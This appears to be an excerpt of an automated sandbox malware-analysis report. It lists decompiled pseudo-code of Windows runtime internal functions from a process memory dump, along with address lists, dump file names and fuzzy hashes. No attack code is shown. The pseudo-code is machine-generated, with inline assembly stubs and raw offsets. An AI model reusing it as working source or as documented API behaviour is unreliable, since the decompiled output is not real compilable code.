					_t7 = _t38 + 0x38; // 0x29cd5903
					_push( *_t7);
					_t9 = _t38 + 0x34; // 0x6adeeb00
					_push( *_t9);
					_v12 = _a8 << 0xc;
					_t11 = _t38 + 4; // 0x5de58b5b
					_push(0x4000);
					_v8 = (_a4 << 0xc) + (_v16 - ( *__ecx & _v16) >> 4 <<  *_t11) + ( *__ecx & _v16);
					E04BDAFDE( &_v8,  &_v12);
					E04BE1293(_t38, _v28, _t60);
					if(E04B37D50() == 0) {
						_t32 = 0x7ffe0380;
					} else {
						_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						_t21 = _t38 + 0x3c; // 0xc3595e5f
						E04BD14FB(_t38,  *_t21, _v11, _v15, 0xd);
					}
				}
				return  ~_t60;
			}

0x04be071b
0x04be0724
0x04be0734
0x04be0738
0x04be074b
0x04be074b
0x04be0753
0x04be0753
0x04be0759
0x04be075d
0x04be0774
0x04be0779
0x04be077d
0x04be0789
0x04be0795
0x04be07a7
0x04be0797
0x04be07a0
0x04be07a0
0x04be07af
0x04be07c4
0x04be07cd
0x04be07cd
0x04be07af
0x04be07dc

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
Instruction ID: 8fbeca9bc48ec6742ff682e7d864786a9b145b7c113de6faf8b2a3e210df905e
Opcode Fuzzy Hash: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
Instruction Fuzzy Hash: D1212336304214AFD705EF2DC880B6ABBA5EFD4354F0486A9F9959B381DB70E909CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04B3AE73, Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E04B3AE73(intOrPtr __ecx, void* __edx) {
				intOrPtr _v8;
				void* _t19;
				char* _t22;
				signed char* _t24;
				intOrPtr _t25;
				intOrPtr _t27;
				void* _t31;
				intOrPtr _t36;
				char* _t38;
				signed char* _t42;

				_push(__ecx);
				_t31 = __edx;
				_v8 = __ecx;
				_t19 = E04B37D50();
				_t38 = 0x7ffe0384;
				if(_t19 != 0) {
					_t22 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t22 = 0x7ffe0384;
				}
				_t42 = 0x7ffe0385;
				if( *_t22 != 0) {
					if(E04B37D50() == 0) {
						_t24 = 0x7ffe0385;
					} else {
						_t24 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t24 & 0x00000010) != 0) {
						goto L17;
					} else {
						goto L3;
					}
				} else {
					L3:
					_t27 = E04B37D50();
					if(_t27 != 0) {
						_t27 =  *[fs:0x30];
						_t38 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22a;
					}
					if( *_t38 != 0) {
						_t27 =  *[fs:0x30];
						if(( *(_t27 + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						_t27 = E04B37D50();
						if(_t27 != 0) {
							_t27 =  *[fs:0x30];
							_t42 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22b;
						}
						if(( *_t42 & 0x00000020) != 0) {
							L17:
							_t25 = _v8;
							_t36 = 0;
							if(_t25 != 0) {
								_t36 =  *((intOrPtr*)(_t25 + 0x18));
							}
							_t27 = E04B97794( *((intOrPtr*)(_t31 + 0x18)), _t36,  *((intOrPtr*)(_t31 + 0x94)),  *(_t31 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_t31 + 0x28)));
						}
						goto L5;
					} else {
						L5:
						return _t27;
					}
				}
			}

0x04b3ae78
0x04b3ae7c
0x04b3ae7e
0x04b3ae81
0x04b3ae86
0x04b3ae8d
0x04b82691
0x04b3ae93
0x04b3ae93
0x04b3ae93
0x04b3ae98
0x04b3ae9d
0x04b826a2
0x04b826b4
0x04b826a4
0x04b826ad
0x04b826ad
0x04b826b9
0x00000000
0x04b826bb
0x00000000
0x04b826bb
0x04b3aea3
0x04b3aea3
0x04b3aea3
0x04b3aeaa
0x04b826c0
0x04b826c9
0x04b826c9
0x04b3aeb3
0x04b826d4
0x04b826e1
0x00000000
0x00000000
0x04b826e7
0x04b826ee
0x04b826f0
0x04b826f9
0x04b826f9
0x04b82702
0x04b82708
0x04b82708
0x04b8270b
0x04b8270f
0x04b82711
0x04b82711
0x04b82725
0x04b82725
0x00000000
0x04b3aeb9
0x04b3aeb9
0x04b3aebf
0x04b3aebf
0x04b3aeb3

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
Instruction ID: e34f315e968df548ab978fca977d1f54d19b4829911eac237feedf76b6670adb
Opcode Fuzzy Hash: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
Instruction Fuzzy Hash: 8721F6B1605684DFEB19AF6AC944B2577E8EF44354F2904E5DD048B792EB38FC40D690

Uniqueness

Uniqueness Score: -1.00%

Function 04B97794, Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E04B97794(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, unsigned int _a8, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _t21;
				void* _t24;
				intOrPtr _t25;
				void* _t36;
				short _t39;
				signed char* _t42;
				unsigned int _t46;
				void* _t50;

				_push(__ecx);
				_push(__ecx);
				_t21 =  *0x4c07b9c; // 0x0
				_t46 = _a8;
				_v12 = __edx;
				_v8 = __ecx;
				_t4 = _t46 + 0x2e; // 0x2e
				_t36 = _t4;
				_t24 = L04B34620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t21 + 0x180000, _t36);
				_t50 = _t24;
				if(_t50 != 0) {
					_t25 = _a4;
					if(_t25 == 5) {
						L3:
						_t39 = 0x14b1;
					} else {
						_t39 = 0x14b0;
						if(_t25 == 6) {
							goto L3;
						}
					}
					 *((short*)(_t50 + 6)) = _t39;
					 *((intOrPtr*)(_t50 + 0x28)) = _t25;
					_t11 = _t50 + 0x2c; // 0x2c
					 *((intOrPtr*)(_t50 + 0x20)) = _v8;
					 *((intOrPtr*)(_t50 + 0x24)) = _v12;
					E04B5F3E0(_t11, _a12, _t46);
					 *((short*)(_t50 + 0x2c + (_t46 >> 1) * 2)) = 0;
					if(E04B37D50() == 0) {
						_t42 = 0x7ffe0384;
					} else {
						_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t50);
					_t19 = _t36 - 0x20; // 0xe
					_push(0x403);
					_push( *_t42 & 0x000000ff);
					E04B59AE0();
					_t24 = L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t50);
				}
				return _t24;
			}

0x04b97799
0x04b9779a
0x04b9779b
0x04b977a3
0x04b977ab
0x04b977ae
0x04b977b1
0x04b977b1
0x04b977bf
0x04b977c4
0x04b977c8
0x04b977ce
0x04b977d4
0x04b977e0
0x04b977e0
0x04b977d6
0x04b977d6
0x04b977de
0x00000000
0x00000000
0x04b977de
0x04b977e5
0x04b977f0
0x04b977f3
0x04b977f6
0x04b977fd
0x04b97800
0x04b9780c
0x04b97818
0x04b9782b
0x04b9781a
0x04b97823
0x04b97823
0x04b97830
0x04b97831
0x04b97838
0x04b9783d
0x04b9783e
0x04b9784f
0x04b9784f
0x04b9785a

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec92573f595c8bed1412b95570edcfa8a2ec5254064d98e424f8d501a0d3d73b
Instruction ID: 38c5146d87dcdd7e632db6c77e060c03543dcba6a76d65be1d66f8e65349cf4c
Opcode Fuzzy Hash: ec92573f595c8bed1412b95570edcfa8a2ec5254064d98e424f8d501a0d3d73b
Instruction Fuzzy Hash: 21216F72510604EBDB25DF69D890E6BBBE9EF48740F1045A9E90AD7660EA34ED00CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 04B4FD9B, Relevance: .1, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E04B4FD9B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t19;
				intOrPtr _t29;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr* _t40;

				_t35 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t37 = 0;
				_v8 = __edx;
				_t29 = __ecx;
				if( *((intOrPtr*)( *[fs:0x18] + 0xfbc)) != 0) {
					_t40 =  *((intOrPtr*)( *[fs:0x18] + 0xfbc));
					L3:
					_t19 = _a4 - 4;
					if(_t19 != 0) {
						if(_t19 != 1) {
							L7:
							return _t37;
						}
						if(_t35 == 0) {
							L11:
							_t37 = 0xc000000d;
							goto L7;
						}
						if( *((intOrPtr*)(_t40 + 4)) != _t37) {
							L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37,  *((intOrPtr*)(_t40 + 4)));
							_t35 = _v8;
						}
						 *((intOrPtr*)(_t40 + 4)) = _t35;
						goto L7;
					}
					if(_t29 == 0) {
						goto L11;
					}
					_t32 =  *_t40;
					if(_t32 != 0) {
						 *((intOrPtr*)(_t29 + 0x20)) =  *((intOrPtr*)(_t32 + 0x20));
						E04B276E2( *_t40);
					}
					 *_t40 = _t29;
					goto L7;
				}
				_t40 = L04B34620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 8);
				if(_t40 == 0) {
					_t37 = 0xc0000017;
					goto L7;
				}
				_t35 = _v8;
				 *_t40 = 0;
				 *((intOrPtr*)(_t40 + 4)) = 0;
				 *((intOrPtr*)( *[fs:0x18] + 0xfbc)) = _t40;
				goto L3;
			}

0x04b4fd9b
0x04b4fda0
0x04b4fda1
0x04b4fdab
0x04b4fdad
0x04b4fdb0
0x04b4fdb8
0x04b4fe0f
0x04b4fde6
0x04b4fde9
0x04b4fdec
0x04b8c0c0
0x04b4fdfe
0x04b4fe06
0x04b4fe06
0x04b8c0c8
0x04b4fe2d
0x04b4fe2d
0x00000000
0x04b4fe2d
0x04b8c0d1
0x04b8c0e0
0x04b8c0e5
0x04b8c0e5
0x04b8c0e8
0x00000000
0x04b8c0e8
0x04b4fdf4
0x00000000
0x00000000
0x04b4fdf6
0x04b4fdfa
0x04b4fe1a
0x04b4fe1f
0x04b4fe1f
0x04b4fdfc
0x00000000
0x04b4fdfc
0x04b4fdcc
0x04b4fdd0
0x04b4fe26
0x00000000
0x04b4fe26
0x04b4fdd8
0x04b4fddb
0x04b4fddd
0x04b4fde0
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
Instruction ID: c3eec45c40b25819bb8cde969cb06fccd353d4ce73fea2b9ceafec9d467ed94d
Opcode Fuzzy Hash: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
Instruction Fuzzy Hash: 89217972640A44DFD731CF0AC640E76B7E5EBD4B11F2585AEE94987A10E730BD00EB90

Uniqueness

Uniqueness Score: -1.00%

Function 04B19240, Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E04B19240(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t41;
				intOrPtr* _t46;
				void* _t48;
				intOrPtr _t50;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr _t62;
				intOrPtr _t65;
				void* _t66;
				void* _t68;

				_push(0xc);
				_push(0x4bef708);
				E04B6D08C(__ebx, __edi, __esi);
				_t65 = __ecx;
				 *((intOrPtr*)(_t68 - 0x1c)) = __ecx;
				if( *(__ecx + 0x24) != 0) {
					_push( *(__ecx + 0x24));
					E04B595D0();
					 *(__ecx + 0x24) =  *(__ecx + 0x24) & 0x00000000;
				}
				L6();
				L6();
				_push( *((intOrPtr*)(_t65 + 0x28)));
				E04B595D0();
				_t33 =  *0x4c084c4; // 0x0
				L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t33 + 0xc0000,  *((intOrPtr*)(_t65 + 0x10)));
				_t37 =  *0x4c084c4; // 0x0
				L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37 + 0xc0000,  *((intOrPtr*)(_t65 + 0x1c)));
				_t41 =  *0x4c084c4; // 0x0
				E04B32280(L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t41 + 0xc0000,  *((intOrPtr*)(_t65 + 0x20))), 0x4c086b4);
				 *(_t68 - 4) =  *(_t68 - 4) & 0x00000000;
				_t46 = _t65 + 0xe8;
				_t62 =  *_t46;
				_t60 =  *((intOrPtr*)(_t46 + 4));
				if( *((intOrPtr*)(_t62 + 4)) != _t46 ||  *_t60 != _t46) {
					_t61 = 3;
					asm("int 0x29");
					_push(_t65);
					_t66 = _t61;
					_t23 = _t66 + 0x14; // 0x8df8084c
					_push( *_t23);
					E04B595D0();
					_t24 = _t66 + 0x10; // 0x89e04d8b
					_push( *_t24);
					 *(_t66 + 0x38) =  *(_t66 + 0x38) & 0x00000000;
					_t48 = E04B595D0();
					 *(_t66 + 0x14) =  *(_t66 + 0x14) & 0x00000000;
					 *(_t66 + 0x10) =  *(_t66 + 0x10) & 0x00000000;
					return _t48;
				} else {
					 *_t60 = _t62;
					 *((intOrPtr*)(_t62 + 4)) = _t60;
					 *(_t68 - 4) = 0xfffffffe;
					E04B19325();
					_t50 =  *0x4c084c4; // 0x0
					return E04B6D0D1(L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t50 + 0xc0000, _t65));
				}
			}

0x04b19240
0x04b19242
0x04b19247
0x04b1924c
0x04b1924e
0x04b19255
0x04b19257
0x04b1925a
0x04b1925f
0x04b1925f
0x04b19266
0x04b19271
0x04b19276
0x04b19279
0x04b1927e
0x04b19295
0x04b1929a
0x04b192b1
0x04b192b6
0x04b192d7
0x04b192dc
0x04b192e0
0x04b192e6
0x04b192e8
0x04b192ee
0x04b19332
0x04b19333
0x04b19337
0x04b19338
0x04b1933a
0x04b1933a
0x04b1933d
0x04b19342
0x04b19342
0x04b19345
0x04b19349
0x04b1934e
0x04b19352
0x04b19357
0x04b192f4
0x04b192f4
0x04b192f6
0x04b192f9
0x04b19300
0x04b19306
0x04b19324
0x04b19324

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 0d16209c01b3d8d9e91087167c52218f810d0985f9c79bd19ae55389aeb51780
Instruction ID: f26e1cc5c7c4ae9acd60461b42cdde9cfcacbb8979585e8b35601bd1e23ac0fe
Opcode Fuzzy Hash: 0d16209c01b3d8d9e91087167c52218f810d0985f9c79bd19ae55389aeb51780
Instruction Fuzzy Hash: B2216AB2141640DFD721EF68DA20F19B7B9FF08708F4585A8E00A876B1CB38FA41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 04B4B390, Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E04B4B390(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				signed char _t12;
				signed int _t16;
				signed int _t21;
				void* _t28;
				signed int _t30;
				signed int _t36;
				signed int _t41;

				_push(__ecx);
				_t41 = _a4 + 0xffffffb8;
				E04B32280(_t12, 0x4c08608);
				 *(_t41 + 0x34) =  *(_t41 + 0x34) - 1;
				asm("sbb edi, edi");
				_t36 =  !( ~( *(_t41 + 0x34))) & _t41;
				_v8 = _t36;
				asm("lock cmpxchg [ebx], ecx");
				_t30 = 1;
				if(1 != 1) {
					while(1) {
						_t21 = _t30 & 0x00000006;
						_t16 = _t30;
						_t28 = (0 | _t21 == 0x00000002) * 4 - 1 + _t30;
						asm("lock cmpxchg [edi], esi");
						if(_t16 == _t30) {
							break;
						}
						_t30 = _t16;
					}
					_t36 = _v8;
					if(_t21 == 2) {
						_t16 = E04B500C2(0x4c08608, 0, _t28);
					}
				}
				if(_t36 != 0) {
					_t16 = L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t36);
				}
				return _t16;
			}

0x04b4b395
0x04b4b3a2
0x04b4b3a5
0x04b4b3aa
0x04b4b3b2
0x04b4b3ba
0x04b4b3bd
0x04b4b3c0
0x04b4b3c4
0x04b4b3c9
0x04b8a3e9
0x04b8a3ed
0x04b8a3f0
0x04b8a3ff
0x04b8a403
0x04b8a409
0x00000000
0x00000000
0x04b8a40b
0x04b8a40b
0x04b8a40f
0x04b8a415
0x04b8a423
0x04b8a423
0x04b8a415
0x04b4b3d1
0x04b4b3e8
0x04b4b3e8
0x04b4b3d9

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2029bcbe90bf58894c0d31e580e5e95c95bde4231d65832f93efcc8a51653881
Instruction ID: b8c7dde27151662c47b5eacad2453ca19a70cd27543179b57bae93da877702de
Opcode Fuzzy Hash: 2029bcbe90bf58894c0d31e580e5e95c95bde4231d65832f93efcc8a51653881
Instruction Fuzzy Hash: AD1148733051109BDB18AA168D81A2B726BEBC9730B2981BEEE1697780D931FC02D690

Uniqueness

Uniqueness Score: -1.00%

Function 04BA4257, Relevance: .1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E04BA4257(void* __ebx, void* __ecx, intOrPtr* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t18;
				intOrPtr _t24;
				intOrPtr* _t27;
				intOrPtr* _t30;
				intOrPtr* _t31;
				intOrPtr _t33;
				intOrPtr* _t34;
				intOrPtr* _t35;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t43;

				_t39 = __eflags;
				_t35 = __edi;
				_push(8);
				_push(0x4bf08d0);
				E04B6D08C(__ebx, __edi, __esi);
				_t37 = __ecx;
				E04BA41E8(__ebx, __edi, __ecx, _t39);
				E04B2EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				_t18 = _t37 + 8;
				_t33 =  *_t18;
				_t27 =  *((intOrPtr*)(_t18 + 4));
				if( *((intOrPtr*)(_t33 + 4)) != _t18 ||  *_t27 != _t18) {
					L8:
					_push(3);
					asm("int 0x29");
				} else {
					 *_t27 = _t33;
					 *((intOrPtr*)(_t33 + 4)) = _t27;
					_t35 = 0x4c087e4;
					_t18 =  *0x4c087e0; // 0x0
					while(_t18 != 0) {
						_t43 = _t18 -  *0x4c05cd0; // 0xffffffff
						if(_t43 >= 0) {
							_t31 =  *0x4c087e4; // 0x0
							_t18 =  *_t31;
							if( *((intOrPtr*)(_t31 + 4)) != _t35 ||  *((intOrPtr*)(_t18 + 4)) != _t31) {
								goto L8;
							} else {
								 *0x4c087e4 = _t18;
								 *((intOrPtr*)(_t18 + 4)) = _t35;
								L04B17055(_t31 + 0xfffffff8);
								_t24 =  *0x4c087e0; // 0x0
								_t18 = _t24 - 1;
								 *0x4c087e0 = _t18;
								continue;
							}
						}
						goto L9;
					}
				}
				L9:
				__eflags =  *0x4c05cd0;
				if( *0x4c05cd0 <= 0) {
					L04B17055(_t37);
				} else {
					_t30 = _t37 + 8;
					_t34 =  *0x4c087e8; // 0x0
					__eflags =  *_t34 - _t35;
					if( *_t34 != _t35) {
						goto L8;
					} else {
						 *_t30 = _t35;
						 *((intOrPtr*)(_t30 + 4)) = _t34;
						 *_t34 = _t30;
						 *0x4c087e8 = _t30;
						 *0x4c087e0 = _t18 + 1;
					}
				}
				 *(_t38 - 4) = 0xfffffffe;
				return E04B6D0D1(L04BA4320());
			}

0x04ba4257
0x04ba4257
0x04ba4257
0x04ba4259
0x04ba425e
0x04ba4263
0x04ba4265
0x04ba4273
0x04ba4278
0x04ba427c
0x04ba427f
0x04ba4281
0x04ba4287
0x04ba42d7
0x04ba42d7
0x04ba42da
0x04ba428d
0x04ba428d
0x04ba428f
0x04ba4292
0x04ba4297
0x04ba429c
0x04ba42a0
0x04ba42a6
0x04ba42a8
0x04ba42ae
0x04ba42b3
0x00000000
0x04ba42ba
0x04ba42ba
0x04ba42bf
0x04ba42c5
0x04ba42ca
0x04ba42cf
0x04ba42d0
0x00000000
0x04ba42d0
0x04ba42b3
0x00000000
0x04ba42a6
0x04ba429c
0x04ba42dc
0x04ba42dc
0x04ba42e3
0x04ba4309
0x04ba42e5
0x04ba42e5
0x04ba42e8
0x04ba42ee
0x04ba42f0
0x00000000
0x04ba42f2
0x04ba42f2
0x04ba42f4
0x04ba42f7
0x04ba42f9
0x04ba4300
0x04ba4300
0x04ba42f0
0x04ba430e
0x04ba431f

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c565ea5bfccbf467624a9948bef1994fa7dda55ab04ab90a80492b0c05a4a9a
Instruction ID: 32dcae3a068c0af7e7cdb8a72e39184c7f431e85141250e90c5c8d42870d66e8
Opcode Fuzzy Hash: 2c565ea5bfccbf467624a9948bef1994fa7dda55ab04ab90a80492b0c05a4a9a
Instruction Fuzzy Hash: 11216A74615701DFDB14EF69D100A14BBF1FB89318B61C2EAD1098B2A4EBB9E891CF20

Uniqueness

Uniqueness Score: -1.00%

Function 04B946A7, Relevance: .1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E04B946A7(signed short* __ecx, unsigned int __edx, char* _a4) {
				signed short* _v8;
				unsigned int _v12;
				intOrPtr _v16;
				signed int _t22;
				signed char _t23;
				short _t32;
				void* _t38;
				char* _t40;

				_v12 = __edx;
				_t29 = 0;
				_v8 = __ecx;
				_v16 =  *((intOrPtr*)( *[fs:0x30] + 0x18));
				_t38 = L04B34620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *__ecx & 0x0000ffff);
				if(_t38 != 0) {
					_t40 = _a4;
					 *_t40 = 1;
					E04B5F3E0(_t38, _v8[2],  *_v8 & 0x0000ffff);
					_t22 = _v12 >> 1;
					_t32 = 0x2e;
					 *((short*)(_t38 + _t22 * 2)) = _t32;
					 *((short*)(_t38 + 2 + _t22 * 2)) = 0;
					_t23 = E04B4D268(_t38, 1);
					asm("sbb al, al");
					 *_t40 =  ~_t23 + 1;
					L04B377F0(_v16, 0, _t38);
				} else {
					 *_a4 = 0;
					_t29 = 0xc0000017;
				}
				return _t29;
			}

0x04b946b7
0x04b946ba
0x04b946c5
0x04b946c8
0x04b946d0
0x04b946d4
0x04b946e6
0x04b946e9
0x04b946f4
0x04b946ff
0x04b94705
0x04b94706
0x04b9470c
0x04b94713
0x04b9471b
0x04b94723
0x04b94725
0x04b946d6
0x04b946d9
0x04b946db
0x04b946db
0x04b94732

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
Instruction ID: eefaa68f2214c23e582cfa36a454cae3fa9e226139689497a4855d864a37dc33
Opcode Fuzzy Hash: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
Instruction Fuzzy Hash: 3011E572504208BBDB059F5DD8809BEFBB9EF95304F1080EAF944C7350DA319D55D7A4

Uniqueness

Uniqueness Score: -1.00%

Function 04B42397, Relevance: .1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E04B42397(intOrPtr _a4) {
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t11;
				void* _t19;
				void* _t25;
				void* _t26;
				intOrPtr _t27;
				void* _t28;
				void* _t29;

				_t27 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294));
				if( *0x4c0848c != 0) {
					L04B3FAD0(0x4c08610);
					if( *0x4c0848c == 0) {
						E04B3FA00(0x4c08610, _t19, _t27, 0x4c08610);
						goto L1;
					} else {
						_push(0);
						_push(_a4);
						_t26 = 4;
						_t29 = E04B42581(0x4c08610, 0x4af50a0, _t26, _t27, _t28);
						E04B3FA00(0x4c08610, 0x4af50a0, _t27, 0x4c08610);
					}
				} else {
					L1:
					_t11 =  *0x4c08614; // 0x1
					if(_t11 == 0) {
						_t11 = E04B54886(0x4af1088, 1, 0x4c08614);
					}
					_push(0);
					_push(_a4);
					_t25 = 4;
					_t29 = E04B42581(0x4c08610, (_t11 << 4) + 0x4af5070, _t25, _t27, _t28);
				}
				if(_t29 != 0) {
					 *((intOrPtr*)(_t29 + 0x38)) = _t27;
					 *((char*)(_t29 + 0x40)) = 0;
				}
				return _t29;
			}

0x04b423b0
0x04b423b6
0x04b42409
0x04b42415
0x04b85ae9
0x00000000
0x04b4241b
0x04b4241b
0x04b4241d
0x04b42427
0x04b4242e
0x04b42430
0x04b42430
0x04b423b8
0x04b423b8
0x04b423b8
0x04b423bf
0x04b423fc
0x04b423fc
0x04b423c1
0x04b423c3
0x04b423d0
0x04b423d8
0x04b423d8
0x04b423dc
0x04b423de
0x04b423e1
0x04b423e1
0x04b423ec

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c63aabec23de6dfeb423b23f06aa70f594269e5f58c11835083e3ac3a85c442
Instruction ID: 30e0cddcac25de3430ff49266a7a91d3ec075d70498c618a660c7ffcdf32d164
Opcode Fuzzy Hash: 7c63aabec23de6dfeb423b23f06aa70f594269e5f58c11835083e3ac3a85c442
Instruction Fuzzy Hash: 281182317007007BF734BA2A9C80F15B6E9EBD0794F0584D5FA01A7191D574FC41B764

Uniqueness

Uniqueness Score: -1.00%

Function 04B537F5, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E04B537F5(void* __ecx, intOrPtr* __edx) {
				void* __ebx;
				void* __edi;
				signed char _t6;
				intOrPtr _t13;
				intOrPtr* _t20;
				intOrPtr* _t27;
				void* _t28;
				intOrPtr* _t29;

				_t27 = __edx;
				_t28 = __ecx;
				if(__edx == 0) {
					E04B32280(_t6, 0x4c08550);
				}
				_t29 = E04B5387E(_t28);
				if(_t29 == 0) {
					L6:
					if(_t27 == 0) {
						E04B2FFB0(0x4c08550, _t27, 0x4c08550);
					}
					if(_t29 == 0) {
						return 0xc0000225;
					} else {
						if(_t27 != 0) {
							goto L14;
						}
						L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t27, _t29);
						goto L11;
					}
				} else {
					_t13 =  *_t29;
					if( *((intOrPtr*)(_t13 + 4)) != _t29) {
						L13:
						_push(3);
						asm("int 0x29");
						L14:
						 *_t27 = _t29;
						L11:
						return 0;
					}
					_t20 =  *((intOrPtr*)(_t29 + 4));
					if( *_t20 != _t29) {
						goto L13;
					}
					 *_t20 = _t13;
					 *((intOrPtr*)(_t13 + 4)) = _t20;
					asm("btr eax, ecx");
					goto L6;
				}
			}

0x04b537fa
0x04b537fc
0x04b53805
0x04b53808
0x04b53808
0x04b53814
0x04b53818
0x04b53846
0x04b53848
0x04b5384b
0x04b5384b
0x04b53852
0x00000000
0x04b53854
0x04b53856
0x00000000
0x00000000
0x04b53863
0x00000000
0x04b53863
0x04b5381a
0x04b5381a
0x04b5381f
0x04b5386e
0x04b5386e
0x04b53871
